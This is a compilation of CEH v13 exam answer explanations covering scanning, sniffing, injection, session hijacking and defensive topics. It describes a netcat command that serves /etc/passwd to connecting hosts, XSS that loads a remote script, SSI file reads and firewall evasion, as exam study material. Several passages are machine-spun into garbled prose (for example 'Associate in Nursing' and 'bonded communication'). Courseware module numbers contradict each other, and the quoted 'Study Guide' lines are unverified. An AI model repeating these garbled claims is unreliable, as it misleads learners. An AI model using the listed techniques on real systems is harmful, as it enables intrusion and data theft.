flags –source-port and -g are equivalent and instruct nmap to send packets through a selected port. this option is used to try to cheat firewalls whitelisting traffic from specific ports. the following example can scan the target from the port twenty to ports eighty, 22, 21,23 and 25 sending fragmented packets to LinuxHint.

Comprehensive and Detailed Explanation:

TCPView is a Windows Sysinternals utility that provides a real-time graphical view of:

TCP and UDP endpoints on the system

Listening, established, and closing states

Associated process names using the connections

It’s ideal for administrators or analysts looking to monitor and troubleshoot live network activity.

From CEH v13 Courseware:

Module 3: Scanning Networks → Tools for Port and Service Discovery

Incorrect Options:

A. Netstat provides snapshot (static) info, not real-time with process association.

C. Nmap is used for remote scanning, not real-time local monitoring.

D. Loki is a covert channel tool used for stealthy communication.

In CEH v13 Module 01: Introduction to Ethical Hacking, the types of law applicable to cybersecurity incidents are discussed. When executives fail to protect their company’s information systems and this leads to financial loss, data breaches, or negligence, the resulting liability is considered under civil law.

Civil law deals with non-criminal disputes such as negligence, liability, and contractual breaches.

A company or affected party may file a civil lawsuit for damages.

Executives can be held civilly liable for failing in their duty of care, especially when regulations like GDPR, SOX, or HIPAA are involved.

Email spoofing is the fabrication of an email header in the hopes of duping the recipient into thinking the email originated from someone or somewhere other than the intended source. Because core email protocols do not have a built-in method of authentication, it is common for spam and phishing emails to use said spoofing to trick the recipient into trusting the origin of the message.

The ultimate goal of email spoofing is to get recipients to open, and possibly even respond to, a solicitation. Although the spoofed messages are usually just a nuisance requiring little action besides removal, the more malicious varieties can cause significant problems and sometimes pose a real security threat.

==================================================================

LAN Manager (LM) hashes are legacy password hashing methods used in older Windows systems (including Windows 2000 for backward compatibility). LM hashing works by:

Converting the password to uppercase.

Padding or truncating it to 14 characters.

Splitting it into two 7-character halves.

Using each half as a DES key to encrypt a known constant ("KGS!@#$%").

Therefore, LM hashing uses the DES (Data Encryption Standard) algorithm.

From CEH v13 Official Courseware:

Module 6: Malware Threats → Password Storage and LM Hash Structure

LAN Manager (LM) hashes use the DES (Data Encryption Standard) algorithm to hash passwords. Here's how LM hashing works:

The password is converted to uppercase and padded/truncated to 14 characters.

Split into two 7-character halves.

Each half is used as a DES key to encrypt a constant string ("KGS!@#$%")—resulting in a 16-byte LM hash.

From CEH v13 Courseware:

Module 6: Malware Threats

Topic: Windows Password Storage & Cracking

CEH v13 Study Guide states:

“LM hashes use the DES encryption algorithm to create password hashes. Due to this method, they are highly vulnerable to brute-force attacks, particularly because they split the password into two 7-character blocks.”

Incorrect Options:

A: MD4 is used in NTLM hashes.

C: SHA is not used in LM.

D: SSL is a transport security protocol, not a hashing algorithm.

A brute force attack is a method of trying different combinations of passwords or keys to gain access to a system or service. It is not a reliable way of detecting a honeypot, as it may trigger an alert or response from the target. Moreover, a brute force attack does not provide any information about the system’s characteristics or behavior that could indicate a honeypot. A honeypot is a decoy system that is designed to attract and trap attackers, while providing security teams with valuable intelligence and insights. Therefore, an ethical hacker needs to use more subtle and stealthy techniques to detect and avoid honeypots.

The other options are valid techniques for detecting a honeypot. Probing system services and observing the three-way handshake can reveal anomalies or inconsistencies in the system’s responses, such as abnormal banners, ports, or protocols. Using honeypot detection tools like Send-Safe Honeypot Hunter can scan the target network and identify potential honeypots based on various criteria, such as IP address, domain name, or open ports. Analyzing the MAC address can detect instances running on VMware, which is a common platform for deploying honeypots. A honeypot running on VMware will have a MAC address that starts with 00:0C:29, 00:50:56, or 00:05:69. References:

What is a Honeypot? Types, Benefits, Risks and Best Practices

Using Honeypots for Network Intrusion Detection

Detecting Honeypot Access With Varonis

The description in the scenario clearly points to Docker. Docker is an open-source platform that automates the deployment, scaling, and management of applications inside containers. It allows:

Isolation of applications from the underlying system

Communication through well-defined APIs and networking interfaces

Rapid packaging and shipping of applications in a containerized format

Docker uses OS-level virtualization and is ideal for Platform-as-a-Service (PaaS) environments.

Incorrect Options:

A. Virtual machines virtualize entire operating systems and are heavier in resource use.

B. Serverless computing abstracts the infrastructure entirely but is not about containerization.

D. Zero Trust is a security architecture, not a development or packaging platform.

Reference – CEH v13 Official Courseware:

Module 19: Cloud Computing

Section: “Containerization and Docker”

Subsection: “Security Benefits of Containers”

===========

Many network and system administrators don't pay enough attention to system clock accuracy and time synchronization. Computer clocks can run faster or slower over time, batteries and power sources die, or daylight-saving time changes are forgotten. Sure, there are many more pressing security issues to deal with, but not ensuring that the time on network devices is synchronized can cause problems. And these problems often only come to light after a security incident.

If you suspect a hacker is accessing your network, for example, you will want to analyze your log files to look for any suspicious activity. If your network's security devices do not have synchronized times, the timestamps' inaccuracy makes it impossible to correlate log files from different sources. Not only will you have difficulty in tracking events, but you will also find it difficult to use such evidence in court; you won't be able to illustrate a smooth progression of events as they occurred throughout your network.

Command Breakdown:

nc: Netcat utility

-l: Listen mode

-u: Use UDP protocol

-p 55555: Listen on port 55555

< /etc/passwd: Redirects the contents of /etc/passwd into the socket

This means that when a connection is made to UDP port 55555, the contents of /etc/passwd will be sent to the connecting host.

From CEH v13 Courseware:

Module 8: Sniffing & Network Communication Tools

CEH v13 Study Guide states:

“Netcat can be used to serve files, open shells, or transfer data. Using input redirection, it can stream file contents to anyone who connects.”

Incorrect Options:

A: Does not log; it outputs /etc/passwd

C: The opposite; it serves the file, doesn’t grab it

D: Netcat does not delete files with this syntax

Webhooks are one of a few ways internet applications will communicate with one another.

It allows you to send real-time data from one application to another whenever a given event happens.

For example, let’s say you’ve created an application using the Foursquare API that tracks when people check into your restaurant. You ideally wish to be able to greet customers by name and provide a complimentary drink when they check in.

What a webhook will is notify you any time someone checks in, therefore you’d be able to run any processes that you simply had in your application once this event is triggered.

The data is then sent over the web from the application wherever the event originally occurred, to the receiving application that handles the data.

Here’s a visual representation of what that looks like:

A webhook url is provided by the receiving application, and acts as a phone number that the other application will call once an event happens.

Only it’s more complicated than a phone number, because data about the event is shipped to the webhook url in either JSON or XML format. this is known as the “payload.”

Here’s an example of what a webhook url looks like with the payload it’s carrying:

What are Webhooks? Webhooks are user-defined HTTP callback or push APIs that are raised based on events triggered, such as comment received on a post and pushing code to the registry. A webhook allows an application to update other applications with the latest information. Once invoked, it supplies data to the other applications, which means that users instantly receive real-time information. Webhooks are sometimes called “Reverse APIs” as they provide what is required for API specification, and the developer should create an API to use a webhook. A webhook is an API concept that is also used to send text messages and notifications to mobile numbers or email addresses from an application when a specific event is triggered. For instance, if you search for something in the online store and the required item is out of stock, you click on the “Notify me” bar to get an alert from the application when that item is available for purchase. These notifications from the applications are usually sent through webhooks.

Firewalk, covered in CEH v13 Module 03, is a firewall analysis tool that uses TTL-limited probes to determine which ports are allowed through a filtering device (firewall/router).

If a Time-to-Live Exceeded message is received, it means the packet made it past the firewall and was stopped before reaching the target host.

No response typically means filtered or blocked.

Therefore:

Ports 21 and 22 are filtered by the firewall.

Port 23 triggered a TTL Exceeded, meaning it passed through the firewall, and likely hit a router or was dropped due to TTL=0 before reaching the host.

Two-factor Authentication or 2FA is a user identity verification method, where two of the three possible authentication factors are combined to grant access to a website or application.1) something the user knows, 2) something the user has, or 3) something the user is.

The possible factors of authentication are:

· Something the User Knows:

This is often a password, passphrase, PIN, or secret question. To satisfy this authentication challenge, the user must provide information that matches the answers previously provided to the organization by that user, such as “Name the town in which you were born.”

· Something the User Has:

This involves entering a one-time password generated by a hardware authenticator. Users carry around an authentication device that will generate a one-time password on command. Users then authenticate by providing this code to the organization. Today, many organizations offer software authenticators that can be installed on the user’s mobile device.

· Something the User Is:

This third authentication factor requires the user to authenticate using biometric data. This can include fingerprint scans, facial scans, behavioral biometrics, and more.

For example: In internet security, the most used factors of authentication are:

something the user has (e.g., a bank card) and something the user knows (e.g., a PIN code). This is two-factor authentication. Two-factor authentication is also sometimes referred to as strong authentication, Two-Step Verification, or 2FA.

The key difference between Multi-Factor Authentication (MFA) and Two-Factor Authentication (2FA) is that, as the term implies, Two-Factor Authentication utilizes a combination of two out of three possible authentication factors. In contrast, Multi-Factor Authentication could utilize two or more of these authentication factors.

YARA rules are a powerful way to detect and classify malware based on patterns, signatures, and behaviors. They can be used to complement Snort rules, which are mainly focused on network traffic analysis. However, writing YARA rules manually can be time-consuming and error-prone, especially when dealing with large and diverse malware samples. Therefore, using a tool that can automate or assist the generation of YARA rules can be very helpful for ethical hackers.

Among the four options, yarGen is the best choice for this purpose, because it generates YARA rules from strings identified in malware files while removing strings that also appear in goodware files. This way, yarGen can reduce the false positives and increase the accuracy of the YARA rules. yarGen also supports various features, such as whitelisting, scoring, wildcards, and regular expressions, to improve the quality and efficiency of the YARA rules.

The other options are not as suitable as yarGen for this purpose. AutoYara is a tool that automates the generation of YARA rules from a set of malicious and benign files, but it does not perform any filtering or optimization of the strings, which may result in noisy and ineffective YARA rules. YaraRET is a tool that helps in reverse engineering Trojans to generate YARA rules, but it is limited to a specific type of malware and requires manual intervention and analysis. koodous is a platform that combines social networking with antivirus signatures and YARA rules to detect malware, but it is not a tool for generating YARA rules, rather it is a tool for sharing and collaborating on YARA rules. References:

yarGen - A Tool to Generate YARA Rules

YARA Rules: The Basics

Why master YARA: from routine to extreme threat hunting cases

Internet of Medical Things (IoMT) devices are internet-connected medical devices that can collect, transfer, and analyze data over a network. They can provide improved patient care and comfort, but they also pose security challenges and risks, as they can be targeted by cyberattacks, such as ransomware, that can compromise their functionality, integrity, or confidentiality. Ransomware is a type of malware that encrypts the victim’s data or system and demands a ransom for its decryption or restoration. Ransomware attacks can cause serious harm to healthcare organizations, as they can disrupt their operations, endanger their patients, and damage their reputation.

To protect IoMT devices from ransomware attacks, the main recommendation is to use network segmentation to isolate IoMT devices from the main network. Network segmentation is a technique that divides a network into smaller subnetworks, each with its own security policies and controls. Network segmentation can prevent or limit the spread of ransomware from one subnetwork to another, as it restricts the communication and access between them. Network segmentation can also improve the performance, visibility, and manageability of the network, as it reduces the network congestion, complexity, and noise.

The other options are not as effective or feasible as network segmentation. Implementing multi-factor authentication for all IoMT devices may not be possible or practical, as some IoMT devices may not support or require user authentication, such as sensors or monitors. Disabling all wireless connectivity on IoMT devices may not be desirable or realistic, as some IoMT devices rely on wireless communication protocols, such as Wi-Fi, Bluetooth, or Zigbee, to function or transmit data. Regularly changing the IP addresses of all IoMT devices may not prevent or deter ransomware attacks, as ransomware can target devices based on other factors, such as their domain names, MAC addresses, or vulnerabilities. References:

What Is Internet of Medical Things (IoMT) Security?

5 Steps to Secure Internet of Medical Things Devices

Ransomware in Healthcare: How to Protect Your Organization

[Network Segmentation: Definition, Benefits, and Best Practices]

Infoga may be a tool gathering email accounts informations (ip,hostname,country,…) from completely different public supply (search engines, pgp key servers and shodan) and check if email was leaked using haveibeenpwned.com API. is a really simple tool, however very effective for the first stages of a penetration test or just to know the visibility of your company within the net.

Comprehensive and Detailed Explanation:

ARP Poisoning (Address Resolution Protocol Poisoning) is a classic Man-in-the-Middle (MiTM) attack in a LAN environment. It works by sending fake ARP replies to devices on a network to associate the attacker’s MAC address with the IP address of another host (typically the default gateway). As a result:

Network traffic meant for the gateway is sent to the attacker instead.

The attacker can then intercept, modify, or forward the traffic to the actual destination, performing a full MiTM.

This allows the attacker to:

Sniff sensitive data (e.g., credentials, emails)

Hijack sessions

Inject malicious payloads

From CEH v13 Courseware:

Module 8: Sniffing

Topic: MiTM Attacks → ARP Spoofing Techniques

Incorrect Options:

A. Password Sniffing is a result of MiTM but not a technique itself.

C. MAC Flooding is a switch attack that floods the CAM table to make the switch act like a hub.

D. DHCP Sniffing relates to capturing DHCP messages but is not commonly used for MiTM.

To perform a thorough password assessment, Bob can use:

Hardware Keyloggers: Installed between the keyboard and computer; captures keystrokes.

Software Keyloggers: Installed on the OS; logs keystrokes and system activity.

Network Sniffing: Captures plaintext passwords from unencrypted protocols (e.g., FTP, Telnet).

From CEH v13 Official Courseware:

Module 4: Enumeration

Module 6: Malware Threats

Module 8: Sniffing

CEH v13 Study Guide states:

“A comprehensive password audit can involve passive sniffing of credentials on the wire, software keyloggers for direct input capture, and hardware keyloggers for stealthy physical surveillance.”

Incorrect Options:

B, C, D: Limiting to just one method misses out on broader techniques.

https://www.infocyte.com/blog/2019/02/16/cybersecurity-101-what-you-need-to-know-about-false-positives-and-false-negatives/

False positives are mislabeled security alerts, indicating there is a threat when in actuality, there isn’t. These false/non-malicious alerts (SIEM events) increase noise for already over-worked security teams and can include software bugs, poorly written software, or unrecognized network traffic.

False negatives are uncaught cyber threats — overlooked by security tooling because they’re dormant, highly sophisticated (i.e. file-less or capable of lateral movement) or the security infrastructure in place lacks the technological ability to detect these attacks.

A stealth virus may be a sort of virus malware that contains sophisticated means of avoiding detection by antivirus software. After it manages to urge into the now-infected machine a stealth viruses hides itself by continually renaming and moving itself round the disc.

Like other viruses, a stealth virus can take hold of the many parts of one’s PC. When taking control of the PC and performing tasks, antivirus programs can detect it, but a stealth virus sees that coming and can rename then copy itself to a special drive or area on the disc, before the antivirus software. Once moved and renamed a stealth virus will usually replace the detected ‘infected’ file with a clean file that doesn’t trigger anti-virus detection. It’s a never-ending game of cat and mouse.

The intelligent architecture of this sort of virus about guarantees it’s impossible to completely rid oneself of it once infected. One would need to completely wipe the pc and rebuild it from scratch to completely eradicate the presence of a stealth virus. Using regularly-updated antivirus software can reduce risk, but, as we all know, antivirus software is additionally caught in an endless cycle of finding new threats and protecting against them.

https://www.techslang.com/definition/what-is-a-stealth-virus/

Comprehensive and Detailed Explanation:

The code shown in the image is indicative of a Cross-Site Scripting (XSS) attack, where malicious JavaScript is injected into a web page via user input. In this case, the attacker includes:

%3Cscript%20src=...%3E — URL-encoded JavaScript tag to load a malicious script from an external source.

If the web application echoes this input back without sanitization, the script will execute in the context of the victim’s browser.

This allows the attacker to:

Steal cookies/session tokens

Perform actions on behalf of the victim

Redirect the victim to malicious websites

From CEH v13 Courseware:

Module 10: Web Application Hacking → Cross-Site Scripting (XSS)

Per CEH v13 Official Courseware – Module 01: Introduction to Ethical Hacking, ethical hackers and penetration testers are bound by legal and professional standards. When illegal activities such as human trafficking are discovered:

The ethical response is to cease operations and report the findings to the appropriate legal authorities.

Continuing work, ignoring the findings, or confronting the client personally is both unprofessional and may potentially expose the tester to legal liability.

Hashing algorithms (such as SHA-256 or MD5) are used to generate a unique digital fingerprint of a file or message. Once the CFO approves the financial statement, generating a hash value for the document ensures that if any modification occurs (even a single bit), the hash value will change, indicating a breach in data integrity.

This solution directly addresses integrity — one of the three components of the CIA triad (Confidentiality, Integrity, Availability). Password protection or transferring via USB does not ensure integrity; they offer access control and delivery security.

According to CEH v13 Module 06: Malware Threats, when analyzing suspicious system behavior or investigating a suspected Trojan infection, a common and effective approach is to:

Monitor system activity and network behavior using tools like netstat, Wireshark, and TCPView.

Trojans often create covert channels or backdoors for remote access, which can be identified through unexpected or unauthorized outgoing connections to remote IP addresses or domains.

Using netstat -an or netstat -ano helps identify open ports and active connections, and checking these against known IPs can indicate whether a Trojan is communicating with a Command and Control (C&C) server.

Analysis of Each Option:

A. Use ExifTool and check for malicious content

Incorrect. ExifTool is primarily used for extracting metadata from files, especially images and documents. It is not effective for analyzing executable malware or system behavior post-execution.

B. You do not check; rather, you immediately restore a previous snapshot of the operating system

Incorrect. While restoring from a snapshot might eventually be required, immediate restoration without diagnosis is not a recommended or forensically sound first step. It also prevents root cause analysis.

C. Upload the file to VirusTotal

Partially correct but not sufficient. While uploading the file to VirusTotal is a good step to confirm if the file is known malware, it does not identify whether the machine is currently infected or actively compromised.

D. Use netstat and check for outgoing connections to strange IP addresses or domains

Correct. This method helps detect if the system is making suspicious external connections that are common in Trojan infections.

Reference from CEH v13 Study Guide and Course Materials:

CEH v13 Official Module 06 – Malware Threats, Section: Types of Malware – Trojans, and System Monitoring Tools

CEH v13 eCourseware Lab Manual: "Detecting Trojan Activity using netstat and TCPView"

CEH Engage Range: Malware Investigation Phase – Trojan Behavior Detection

A NULL scan is a type of TCP stealth scan where no flags are set in the TCP header. It is used to identify open or closed ports based on how the target responds to this unexpected packet.

Behavior:

If the port is closed → Target responds with RST (Reset)

If the port is open → No response (on compliant systems like Unix-based OSes)

From CEH v13 Courseware:

Module 03: Scanning Networks

Topic: TCP Flag Scanning

Subsection: NULL Scan

CEH v13 Study Guide states:

“In a NULL scan, if a target port is closed, the system responds with an RST packet as per RFC 793. If the port is open, it typically does not respond, which allows stealthy enumeration of services.”

Incorrect Options:

A. SYN: Initiated by a SYN scan.

B. ACK: Used in ACK scans.

C/D: Not applicable for NULL scans.

F. No response occurs for open ports, not closed ones.

Comprehensive and Detailed Explanation:

In a MAC flooding attack, tools like macof (shown in the image) rapidly generate a large number of Ethernet frames with spoofed source MAC addresses. These are sent to the switch to overflow its CAM (Content Addressable Memory) table.

Once the CAM table is full:

The switch can no longer learn new MAC-to-port associations.

It fails open and starts broadcasting all incoming traffic to all ports.

This causes the switch to act like a hub.

Consequently, the attacker can:

Sniff traffic that would otherwise be switched.

Intercept data not destined for their system.

From CEH v13 Courseware:

Module 8: Sniffing → Switch-Based Attacks → MAC Flooding

Incorrect Options:

B: A switch typically does not crash but reverts to hub behavior.

C: There is no factory default override behavior like this.

D: Packets are not dropped—this would defeat the attack’s purpose.

Ettercap is a comprehensive MITM attack tool that supports live traffic interception and content injection. It can modify HTTP streams in real time and inject malicious payloads, such as JavaScript or applets, into web traffic.

Reference – CEH v13 Official Study Guide:

Module 8: Sniffing

Quote:

“Ettercap allows attackers to intercept, analyze, and alter data on the fly, including injecting malicious content like Java applets in HTTP sessions during MITM attacks.”

Incorrect Options Explained:

A & D. Wireshark and Tcpdump are passive sniffers with no injection capability.

C. Aircrack-ng is for Wi-Fi key cracking, not traffic manipulation.

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TCP port 48101 uses the Transmission management Protocol. transmission control protocol is one in all the most protocols in TCP/IP networks. transmission control protocol could be a connection-oriented protocol, it needs acknowledgement to line up end-to-end communications. only a association is about up user’s knowledge may be sent bi-directionally over the association.

Attention! transmission control protocol guarantees delivery of knowledge packets on port 48101 within the same order during which they were sent. bonded communication over transmission control protocol port 48101 is that the main distinction between transmission control protocol and UDP. UDP port 48101 wouldn’t have bonded communication as transmission control protocol.

UDP on port 48101 provides Associate in Nursing unreliable service and datagrams might arrive duplicated, out of order, or missing unexpectedly. UDP on port 48101 thinks that error checking and correction isn’t necessary or performed within the application, avoiding the overhead of such process at the network interface level.

UDP (User Datagram Protocol) could be a borderline message-oriented Transport Layer protocol (protocol is documented in IETF RFC 768).

Application examples that always use UDP: vocalisation IP (VoIP), streaming media and period multiplayer games. several internet applications use UDP, e.g. the name System (DNS), the Routing info Protocol (RIP), the Dynamic Host Configuration Protocol (DHCP), the straightforward Network Management Protocol (SNMP).

Comprehensive and Detailed Explanation:

Script Kiddies are individuals with minimal technical skills who use existing tools or scripts developed by others to perform attacks. They generally do not understand the underlying mechanisms and rely on publicly available hacking tools.

From CEH v13 Official Study Guide:

Module 1: Introduction to Ethical Hacking → Hacker Types

“Script kiddies are unskilled attackers who use tools created by others.”

Snort is an open-source Network Intrusion Detection and Prevention System (NIDS/NIPS) capable of real-time traffic analysis and packet logging. It functions as a sniffer and can detect various forms of attacks using signature-based rules.

CEH v13 Reference:

Module 10: Evading IDS, Firewalls, and Honeypots

"Snort can operate as a sniffer, logger, or full NIDS capable of real-time traffic analysis."

━━━━━━━━━━━━━━━━━━━━━━

In CEH v13 Module 04: Enumeration and Module 06: Malware Threats, when investigating Command-and-Control (C2) communication, it is important to determine whether the communication actually occurred and what data was sent.

C. Internet Firewall/Proxy log

Best source to confirm outbound connections to external IPs.

Proxy logs show which internal host made the connection, the timestamp, and sometimes even URL and payload.

Firewalls can indicate port usage, traffic volume, and connection duration.

This data gives a direct view of how severe the incident is, whether data exfiltration occurred, and which internal system is affected.

Why Other Options Are Less Effective Initially:

A. IDS Log: Only tells you that an alert was generated. May be false positive or triggered by a failed connection.

B. Event logs on Domain Controller: Useful for user account behavior, but not for network connections.

D. Event logs on the PC: May lack detail or be tampered with by malware.

Blind SQL Injection is a type of SQL injection attack where no error messages or data are directly returned to the attacker. Instead, the attacker sends specially crafted SQL queries that result in true or false responses. Based on how the application responds (such as redirecting to a different page or loading time), the attacker infers information about the backend database.

According to CEH v13:

Blind SQLi is used when standard SQL injection yields no visible output.

It comes in two forms:

Boolean-based: Infers information based on application behavior.

Time-based: Infers information based on server response time delays.

Incorrect Options:

A. Time-based SQLi is a sub-type of Blind SQLi, but the question describes Boolean-based behavior.

B. Union SQL injection uses the UNION keyword to fetch additional rows; requires visible output.

C. Error-based SQL injection relies on database error messages.

Reference – CEH v13 Official Courseware:

Module 14: Hacking Web Applications

Section: “Types of SQL Injection”

Subsection: “Blind SQL Injection (Boolean and Time-Based)”

===========

In CEH v13 Module 14: Cryptography, VPN (Virtual Private Network) technology is described as the method that allows users to securely transmit data over an insecure (public) network by establishing a secure, encrypted tunnel.

VPN Features:

Encrypts all traffic between the user's device and the target network.

Prevents session hijacking, eavesdropping, and man-in-the-middle (MITM) attacks.

Common protocols: IPSec, L2TP, SSL VPN, and OpenVPN.

Option Clarification:

A. DMZ: A network segmentation strategy, not an encryption method.

B. SMB signing: Ensures integrity for SMB protocol, but not for remote tunneling.

C. VPN: Correct. Used to securely tunnel over public networks.

D. Switch network: Refers to network segmentation using switches, unrelated to tunneling.

In CEH v13 Module 13: Hacking Web Applications, Server-Side Includes (SSI) is defined as a method for dynamically generating web content through directives embedded in HTML files.

stm File Extension:

Associated with Server Side Includes (SSI).

Files like .stm, .shtml, and .shtm can embed server-side directives.

Vulnerable if user input is improperly handled, allowing command injection or arbitrary file access.

Option Clarification:

A. .stm: Correct – indicates SSI is enabled.

B. .html: Static file, not associated with SSI.

C. .rss: XML feed; irrelevant to SSI.

D. .cms: Generic; doesn’t indicate SSI functionality.

The recommended architecture for secure web application deployment is a multi-tiered setup:

Web server in the DMZ (public-facing)

Application server on the internal network

Database server on the internal network

This design limits the exposure of critical components. Only the web server is exposed to the internet, while application and database servers are shielded by firewalls and only accessible internally.

Reference – CEH v13 Official Study Guide:

Module 10: Hacking Web Servers

Quote:

“Place the web server in the DMZ and keep the application and database servers within the internal network. This reduces the attack surface and provides layered security.”

Incorrect Options Explained:

A. Internal placement makes them inaccessible externally.

C & D. Exposing the database or all servers to the internet introduces significant risk.

===========

In CEH v13 Module 14: Cryptography, IPSec (Internet Protocol Security) is defined as a framework used to establish secure communication channels over IP networks, particularly in VPNs.

IPSec supports encryption, authentication, and integrity.

Operates in Tunnel Mode (VPNs) or Transport Mode (End-to-End).

Core protocols: AH (Authentication Header) and ESP (Encapsulating Security Payload).

Option Analysis:

A. PEM: Privacy Enhanced Mail (email encryption).

B. PPP: Point-to-Point Protocol (data link layer, not encryption).

C. IPSEC: VPN encryption protocol.

D. SET: Secure Electronic Transaction (used in payment systems, obsolete).

In active session hijacking, after identifying a valid session, the attacker must desynchronize the legitimate communication between the client and the server. To do this, Bob should:

Knock one of the parties offline (typically the client).

Then spoof the session by injecting crafted packets using the guessed sequence number.

From CEH v13 Courseware:

Module 11: Session Hijacking

CEH v13 Study Guide states:

“After identifying a session and predicting its sequence number, the attacker forces the original user offline, allowing them to assume control over the connection using spoofed packets.”

Incorrect Options:

A: Taking over the session is the ultimate goal, but the necessary step before that is disconnecting the original participant.

B: Sequence prediction is already done.

C: Sequence number has already been guessed.

https://en.wikipedia.org/wiki/Sniffing_attack

To prevent networks from sniffing attacks, organizations and individual users should keep away from applications using insecure protocols, like basic HTTP authentication, File Transfer Protocol (FTP), and Telnet. Instead, secure protocols such as HTTPS, Secure File Transfer Protocol (SFTP), and Secure Shell (SSH) should be preferred. In case there is a necessity for using any insecure protocol in any application, all the data transmission should be encrypted. If required, VPN (Virtual Private Networks) can be used to provide secure access to users.

NOTE: I want to note that the wording "best option" is valid only for the EC-Council's exam since the other options will not help against sniffing or will only help from some specific attack vectors.

The sniffing attack surface is huge. To protect against it, you will need to implement a complex of measures at all levels of abstraction and apply controls at the physical, administrative, and technical levels. However, encryption is indeed the best option of all, even if your data is intercepted - an attacker cannot understand it.

Comprehensive and Detailed Explanation:

LDAP (Lightweight Directory Access Protocol) uses a hierarchical data structure similar to a directory tree. SQL databases use a relational structure with tables, rows, and columns.

Because of its hierarchical nature:

LDAP is excellent for parent-child relationships.

It struggles with representing many-to-many or many-to-one relationships efficiently.

From CEH v13 Courseware:

Module 4: Enumeration → LDAP Basics

A DMZ (Demilitarized Zone) is a physical or logical subnet that separates an internal local area network (LAN) from untrusted networks—typically the Internet. It allows an organization to provide external-facing services while isolating internal systems from direct exposure.

From CEH v13 Official Courseware:

Module 13: Hacking Web Applications

Module 14: Hacking Web Servers

Module 1: Introduction to Ethical Hacking – Security Architecture Concepts

CEH v13 clearly outlines:

“A DMZ is critical when deploying Internet-facing servers such as web servers, FTP servers, or mail servers. It provides a buffer zone that allows public access to specific resources while keeping the internal network isolated.”

Bob’s assumption is flawed for several reasons:

DMZs can be implemented even with stateless firewalls using strict access control rules.

Relying solely on IP-based filtering is error-prone and doesn’t offer layered defense.

A DMZ provides an essential layer of segmentation, protecting internal assets from compromised public servers.

Incorrect Options:

A/D: DMZ can still make sense even with stateless firewalls if properly configured.

B: IP filtering is insufficient as a sole security measure; does not replace the need for network segmentation.

-sA (TCP ACK scan)

This scan is different than the others discussed so far in that it never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.

The ACK scan probe packet has only the ACK flag set (unless you use --scanflags). When scanning unfiltered systems, open and closed ports will both return a RST packet. Nmap then labels them as unfiltered, meaning that they are reachable by the ACK packet, but whether they are open or closed is undetermined. Ports that don't respond, or send certain ICMP error messages back (type 3, code 0, 1, 2, 3, 9, 10, or 13), are labeled filtered.

https://www.eccouncil.org/what-is-social-engineering/

This Social Engineering scam involves an exchange of information that can benefit both the victim and the trickster. Scammers would make the prey believe that a fair exchange will be present between both sides, but in reality, only the fraudster stands to benefit, leaving the victim hanging on to nothing. An example of a Quid Pro Quo is a scammer pretending to be an IT support technician. The con artist asks for the login credentials of the company’s computer saying that the company is going to receive technical support in return. Once the victim has provided the credentials, the scammer now has control over the company’s computer and may possibly load malware or steal personal information that can be a motive to commit identity theft.

"A quid pro quo attack (aka something for something” attack) is a variant of baiting. Instead of baiting a target with the promise of a good, a quid pro quo attack promises a service or a benefit based on the execution of a specific action." https://resources.infosecinstitute.com/topic/common-social-engineering-attacks/#:~:text=A%20quid%20pro%20quo%20attack,execution%20of%20a%20specific%20action.

Comprehensive and Detailed Explanation:

Tshark is the command-line version of Wireshark. The correct syntax for filtering packets from a subnet:

sudo tshark -f "net 192.168.8.0/24"

This captures only the traffic from that IP range. It’s ideal for cron jobs and automated monitoring.

From CEH v13 Courseware:

Module 8: Sniffing → Tshark and Wireshark Usage

Comprehensive and Detailed Explanation:

Cryptographic hash functions provide:

Integrity: Any change in the input changes the output hash.

Collision Resistance: It is computationally infeasible to find two inputs that produce the same hash.

This ensures data is not altered during transmission.

From CEH v13 Courseware:

Module 10: Cryptography → Hashing Functions (e.g., SHA-256, MD5)

A pharming attacker tries to send a web site’s traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment card data.

Though they share similar goals, pharming uses a special technique from phishing. “Pharming attacker are targeted on manipulating a system, instead of tricking people into reaching to a dangerous web site,” explains David Emm, principal security man of science at Kaspersky. “When either a phishing or pharming attacker is completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often undertaken are completely different.”

Wireless Threats - Confidentiality Attacks Launch of Wireless Attacks: Evil Twin Evil Twin is a wireless AP that pretends to be a legitimate AP by replicating another network name. Attackers set up a rogue AP outside the corporate perimeter and lures users to sign into the wrong AP. (P.2297/2281)

The scenario describes an injection attack involving Server Side Includes (SSI). SSI directives are instructions placed in web pages that are executed by the web server before the page is sent to the user. If user input is improperly validated and directly used in an SSI-enabled environment, attackers can inject malicious SSI directives (such as file manipulation commands).

From CEH v13 Official Courseware:

Server-Side Includes (SSI) Injection occurs when attackers submit specially crafted input that is included in server responses and interpreted as SSI directives.

These directives can perform dangerous actions like:

Reading sensitive files (e.g., /etc/passwd)

Deleting or modifying files

Running shell commands via #exec directive

Incorrect options:

A. Server-side template injection is related to template engines like Jinja2 or Twig.

B. Server-side JS injection applies to environments like Node.js.

C. CRLF injection manipulates HTTP headers, not SSI parsing.

Reference – CEH v13 Official Courseware:

Module 14: Hacking Web Applications

Section: “Injection Flaws”

Subsection: “SSI Injection”

Lab Reference: CEH iLabs – Web Application Exploitation

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Zone transfers (AXFR) are DNS operations that replicate zone data from a primary server to a secondary server. These can be abused during DNS enumeration if improperly secured.

CEH v13 recommends using the following tools for attempting or testing zone transfers:

A. NSLookup – supports AXFR using set type=any or set type=AXFR

C. Dig – dig @ns.example.com example.com AXFR

D. Sam Spade – GUI tool capable of DNS zone transfer

E. Host – command-line tool used for DNS lookups and AXFR

Incorrect Tools:

B. Finger – used for user enumeration, not DNS

F. Netcat – general-purpose networking tool, not specific to DNS

G. Neotrace – used for traceroute/path tracing, not DNS

snmp-check (snmp_enum Module) is the best tool to help the ethical hacker to get the information without directly modifying any parameters within the SNMP agent’s MIB. snmp-check is a tool that allows the user to enumerate SNMP devices and extract information from them. It can gather a wide array of information about the target, such as system information, network interfaces, routing tables, ARP cache, installed software, running processes, TCP and UDP services, user accounts, and more. snmp-check can also perform brute force attacks to discover the SNMP community strings, which are the passwords used to access the SNMP agent. snmp-check is available as a standalone tool or as a module (snmp_enum) within the Metasploit framework.

